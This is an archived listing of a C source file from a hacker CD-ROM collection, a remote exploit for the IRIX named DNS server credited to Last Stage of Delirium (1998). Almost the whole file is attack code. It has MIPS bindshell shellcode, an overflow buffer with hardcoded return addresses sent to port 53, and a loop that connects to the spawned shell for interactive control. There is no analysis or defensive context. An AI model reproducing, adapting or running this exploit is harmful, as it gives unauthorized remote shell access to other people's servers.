home *** CD-ROM | disk | FTP | other *** search
/ H4CK3R 14 / hacker14.iso / exploits / irix / irx_named2.c < prev    next >
Encoding:
C/C++ Source or Header  |  2002-10-22  |  10.0 KB  |  249 lines
  1. /*## copyright LAST STAGE OF DELIRIUM may 1998 poland        *://lsd-pl.net/ #*/
  2. /*## named                                                                   #*/
  3.  
  4. /*   usage ./r target bindshell_port                                          */
  5. /*   this exploit version executes the bindshell on the target                */
  6. /*   machine waiting for the connection on a bindshell_port                   */
  7.  
  8. #include <sys/types.h>
  9. #include <sys/socket.h>
  10. #include <netinet/in.h>
  11. #include <unistd.h>
  12. #include <netdb.h>
  13. #include <stdio.h>
  14. #include <fcntl.h>
  15. #include <errno.h>
  16.  
  17. #define START_ADR       0x10040100      
  18.  
  19. #define PUTADR(p,adr) {*p=(adr>>24)&0xff;*(p+1)=(adr>>16)&0xff;*(p+2)=(adr>>8)&0xff;*(p+3)=adr&0xff;}
  20.  
  21. #define PUTADRL(p,adr) {*p=(adr>>8)&0xff;*(p+1)=adr&0xff;}
  22.  
  23. char tablica[25]={
  24.     0x00,0x00,0x34,0x34,0x09,0x80,0x00,0x00,
  25.     0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,
  26.     0x01,0x00,0x01,0x20,0x20,0x20,0x20,0x00,
  27.     0x00
  28. };
  29.  
  30. char bindshell[]={
  31.     "\x04\x10\xff\xff"       /* bltzal  $zero,<bindshell>    */
  32.     "\x02\x20\x90\x24"       /* and     $s2,$s1,$zero        */
  33.     "\x03\xe0\x88\x25"       /* move    $s1,$ra              */
  34.     "\x22\x31\x02\x04"       /* addi    $s1,$s1,516          */
  35.     "\x24\x04\x0f\xff"       /* li      $a0,4095             */
  36.     "\x38\x84\x0f\xfd"       /* xori    $a0,$a0,0xffd        */
  37.     "\x24\x05\x0f\xff"       /* li      $a1,4095             */
  38.     "\x38\xa5\x0f\xfd"       /* xori    $a1,$a1,0xffd        */
  39.     "\x02\x40\x30\x25"       /* move    $a2,$s2              */
  40.     "\x24\x02\x04\x53"       /* li      $v0,1107             */
  41.     "\x02\x04\x84\x0c"       /* syscall                      */
  42.     "\x01\x08\x40\x25"       /* or      $t0,$t0,$t0          */
  43.     "\xae\x22\xff\xcc"       /* sw      $v0,-52($s1)         */
  44.     "\x8e\x33\xff\xcc"       /* lw      $s3,-52($s1)         */
  45.     "\x02\x60\x20\x25"       /* move    $a0,$s3              */
  46.     "\x02\x20\x28\x25"       /* move    $a1,$s1              */
  47.     "\x20\xa5\xff\xd0"       /* addi    $a1,$a1,-48          */
  48.     "\x24\x06\x0f\xff"       /* li      $a2,4095             */
  49.     "\x38\xc6\x0f\xef"       /* xori    $a2,$a2,0xfef        */
  50.     "\x3c\x07\x0f\xff"       /* lui     $a3,0xfff            */
  51.     "\x38\xe7\x66\x66"       /* xori    $a3,$a3,0x6666       */
  52.     "\x3c\x08\x0f\xfd"       /* lui     $t0,0xffd            */
  53.     "\x01\x07\x40\x26"       /* xor     $t0,$t0,$a3          */
  54.     "\xae\x28\xff\xd0"       /* sw      $t0,-48($s1)         */
  55.     "\xae\x32\xff\xd4"       /* sw      $s2,-44($s1)         */
  56.     "\xae\x32\xff\xd8"       /* sw      $s2,-40($s1)         */
  57.     "\xae\x32\xff\xdc"       /* sw      $s2,-36($s1)         */
  58.     "\x24\x02\x04\x42"       /* li      $v0,1090             */
  59.     "\x02\x04\x84\x0c"       /* syscall                      */
  60.     "\x01\x08\x40\x25"       /* or      $t0,$t0,$t0          */
  61.     "\x02\x60\x20\x25"       /* move    $a0,$s3              */
  62.     "\x24\x05\x0f\xff"       /* li      $a1,4095             */
  63.     "\x38\xa5\x0f\xfa"       /* xori    $a1,$a1,0xffa        */
  64.     "\x24\x02\x04\x48"       /* li      $v0,1096             */
  65.     "\x02\x04\x84\x0c"       /* syscall                      */
  66.     "\x01\x08\x40\x25"       /* or      $t0,$t0,$t0          */
  67.     "\x02\x60\x20\x25"       /* move    $a0,$s3              */
  68.     "\x02\x20\x28\x25"       /* move    $a1,$s1              */
  69.     "\x20\xa5\xff\xd0"       /* addi    $a1,$a1,-48          */
  70.     "\x24\x08\x0f\xff"       /* li      $t0,4095             */
  71.     "\x39\x08\x0f\xef"       /* xori    $t0,$t0,0xfef        */
  72.     "\xae\x28\xff\xcc"       /* sw      $t0,-52($s1)         */
  73.     "\x02\x20\x30\x25"       /* move    $a2,$s1              */
  74.     "\x20\xc6\xff\xcc"       /* addi    $a2,$a2,-52          */
  75.     "\x24\x02\x04\x41"       /* li      $v0,1089             */
  76.     "\x02\x04\x84\x0c"       /* syscall                      */
  77.     "\x01\x08\x40\x25"       /* or      $t0,$t0,$t0          */
  78.     "\xae\x22\xff\xcc"       /* sw      $v0,-52($s1)         */
  79.     "\x8e\x33\xff\xcc"       /* lw      $s3,-52($s1)         */
  80.     "\x02\x40\x20\x25"       /* move    $a0,$s2              */
  81.     "\x24\x02\x03\xee"       /* li      $v0,1006             */
  82.     "\x02\x04\x84\x0c"       /* syscall                      */
  83.     "\x01\x08\x40\x25"       /* or      $t0,$t0,$t0          */
  84.     "\x24\x04\x0f\xff"       /* li      $a0,4095             */
  85.     "\x38\x84\x0f\xfe"       /* xori    $a0,$a0,0xffe        */
  86.     "\x24\x02\x03\xee"       /* li      $v0,1006             */
  87.     "\x02\x04\x84\x0c"       /* syscall                      */
  88.     "\x01\x08\x40\x25"       /* or      $t0,$t0,$t0          */
  89.     "\x24\x04\x0f\xff"       /* li      $a0,4095             */
  90.     "\x38\x84\x0f\xfd"       /* xori    $a0,$a0,0xffd        */
  91.     "\x24\x02\x03\xee"       /* li      $v0,1006             */
  92.     "\x02\x04\x84\x0c"       /* syscall                      */
  93.     "\x01\x08\x40\x25"       /* or      $t0,$t0,$t0          */
  94.     "\x02\x60\x20\x25"       /* move    $a0,$s3              */
  95.     "\x24\x02\x04\x11"       /* li      $v0,1041             */
  96.     "\x02\x04\x84\x0c"       /* syscall                      */
  97.     "\x01\x08\x40\x25"       /* or      $t0,$t0,$t0          */
  98.     "\x02\x60\x20\x25"       /* move    $a0,$s3              */
  99.     "\x24\x02\x04\x11"       /* li      $v0,1041             */
  100.     "\x02\x04\x84\x0c"       /* syscall                      */
  101.     "\x01\x08\x40\x25"       /* or      $t0,$t0,$t0          */
  102.     "\x02\x60\x20\x25"       /* move    $a0,$s3              */
  103.     "\x24\x02\x04\x11"       /* li      $v0,1041             */
  104.     "\x02\x04\x84\x0c"       /* syscall                      */
  105.     "\x01\x08\x40\x25"       /* or      $t0,$t0,$t0          */
  106.     "\x3c\x07\xff\xff"       /* lui     $a3,0xffff           */
  107.     "\x38\xe7\xff\xff"       /* xori    $a3,$a3,0xffff       */
  108.     "\x3c\x08\xd0\x9d"       /* lui     $t0,0xd09d           */
  109.     "\x35\x08\x96\x91"       /* ori     $t0,$t0,0x9691       */
  110.     "\x01\x07\x40\x26"       /* xor     $t0,$t0,$a3          */
  111.     "\xae\x28\xff\xe0"       /* sw      $t0,-32($s1)         */
  112.     "\x3c\x08\xd0\x8c"       /* lui     $t0,0xd08c           */
  113.     "\x35\x08\x97\xff"       /* ori     $t0,$t0,0x97ff       */
  114.     "\x01\x07\x40\x26"       /* xor     $t0,$t0,$a3          */
  115.     "\xae\x28\xff\xe4"       /* sw      $t0,-28($s1)         */
  116.     "\x02\x20\x20\x25"       /* move    $a0,$s1              */
  117.     "\x20\x84\xff\xe0"       /* addi    $a0,$a0,-32          */
  118.     "\x02\x20\x28\x25"       /* move    $a1,$s1              */
  119.     "\x20\xa5\xff\xe8"       /* addi    $a1,$a1,-24          */
  120.     "\xae\x24\xff\xe8"       /* sw      $a0,-24($s1)         */
  121.     "\xae\x32\xff\xec"       /* sw      $s2,-20($s1)         */
  122.     "\x24\x02\x03\xf3"       /* li      $v0,1011             */
  123.     "\x02\x04\x84\x0c"       /* syscall                      */
  124.     "\x01\x08\x40\x25"       /* or      $t0,$t0,$t0          */
  125. };
  126.  
  127. main(int argc,char **argv){
  128.     int sck,i,srvsck;
  129.     fd_set readfs;
  130.     struct sockaddr_in address;
  131.     struct sockaddr_in local;
  132.     struct hostent *hp;
  133.     int size,port;
  134.     unsigned long lregt9,lreggp,lstart,lbcop7,ltmp;
  135.     char regt9[4],reggp[4],start[4],bcop7[4];   
  136.     char *b,*p;
  137.     
  138.     printf("copyright LAST STAGE OF DELIRIUM may 1998 poland  //lsd-pl.net/\n");
  139.     printf("named for irix 5.3 6.2 IP:??\n\n");
  140.  
  141.     if(argc!=3){
  142.         printf("usage: %s target port\n",argv[0]);exit(1);
  143.     }
  144.     port=atoi(argv[2]);
  145.  
  146.     lbcop7=lregt9=START_ADR;
  147.     lstart=START_ADR+0x14;      
  148.     lreggp=START_ADR+0x8024;    
  149.     PUTADR(regt9,lregt9);
  150.     PUTADR(reggp,lreggp);
  151.     PUTADR(start,lstart);
  152.     PUTADR(bcop7,lbcop7);
  153.     PUTADRL(&bindshell[82],port);
  154.  
  155.     size=930;
  156.     tablica[0]=(size+23)>>8;
  157.     tablica[1]=(size+23)&0xff;
  158.     tablica[23]=size>>8;
  159.     tablica[24]=size&0xff;
  160.  
  161.     if((b=(char*)malloc(10500))==NULL) return(-1);
  162.     memset(b,0,10500);
  163.     bcopy(tablica,b,sizeof(tablica));
  164.  
  165.     for(i=0;i<sizeof(bindshell);i++)
  166.       b[2+32+i]=bindshell[i];
  167.     for(i=0;i<4;i++){
  168.       b[2+200+420+i]=start[i];
  169.       b[2+200+420+420+i]=regt9[i];
  170.       b[1018+i]=reggp[i];
  171.       b[930+i]=bcop7[i];
  172.       b[1018-(7*8+4)+i]=regt9[i];
  173.     }
  174.     b[968]=0x20;
  175.     b[528]=0x08;
  176.  
  177.     sck=socket(AF_INET,SOCK_STREAM,0);
  178.  
  179.     bzero(&address,sizeof(address));
  180.     address.sin_family=AF_INET;
  181.     address.sin_port=htons(53);
  182.     if((address.sin_addr.s_addr=inet_addr(argv[1]))==-1){
  183.         if((hp=gethostbyname(argv[1]))==NULL){
  184.             printf("error: address.\n");exit(-1);
  185.         }
  186.         memcpy(&address.sin_addr.s_addr,hp->h_addr,4);
  187.     }
  188.  
  189.     if(connect(sck,(struct sockaddr *)&address,sizeof(address))<0){
  190.         perror("error");exit(-1);
  191.     }
  192.     fflush(stdout);
  193.  
  194.     write(sck,b,25+size);
  195.     close(sck);
  196.  
  197.     size=10000;
  198.     b[0]=(size+23)>>8;
  199.     b[1]=(size+23)&0xff;
  200.     b[23]=size>>8;
  201.     b[24]=size&0xff;
  202.  
  203.     sck=socket(AF_INET,SOCK_STREAM,0);
  204.     sleep(1);
  205.     if(connect(sck,(struct sockaddr *)&address,sizeof(address))<0){
  206.         perror("error");exit(-1);
  207.     }
  208.     fflush(stdout);
  209.     write(sck,b,25+size);
  210.     close(sck);
  211.  
  212.     srvsck=socket(AF_INET,SOCK_STREAM,0);
  213.     address.sin_port=htons(port);
  214.     sleep(1);
  215.  
  216.     if(connect(srvsck,(struct sockaddr *)&address,sizeof(address))<0){
  217.         perror("error");exit(-1);
  218.     }
  219.  
  220.     printf("%s successfully exploited\n",argv[1]); 
  221.     fflush(stdout);
  222.     while(1){
  223.         FD_ZERO(&readfs);
  224.         FD_SET(0,&readfs);
  225.         FD_SET(srvsck,&readfs);   
  226.         if(select(FD_SETSIZE,&readfs,NULL,NULL,NULL)){
  227.             int cnt;
  228.             char buf[1024];
  229.             if(FD_ISSET(0,&readfs)){
  230.                 if((cnt=read(0,buf,1024))<1){
  231.                     if(errno==EWOULDBLOCK||errno==EAGAIN) continue; 
  232.                     else {printf("koniec.\n");exit(-1);}
  233.                 }
  234.                 write(srvsck,buf,cnt);
  235.             }
  236.             if(FD_ISSET(srvsck,&readfs)){
  237.                 if((cnt=read(srvsck,buf,1024))<1){
  238.                     if(errno==EWOULDBLOCK||errno==EAGAIN) continue; 
  239.                     else {printf("koniec.\n");exit(-1);}
  240.                 }
  241.                 write(1,buf,cnt);
  242.             }
  243.         }
  244.     }
  245.    free(b);
  246.    close(srvsck);
  247. }
  248.  
  249.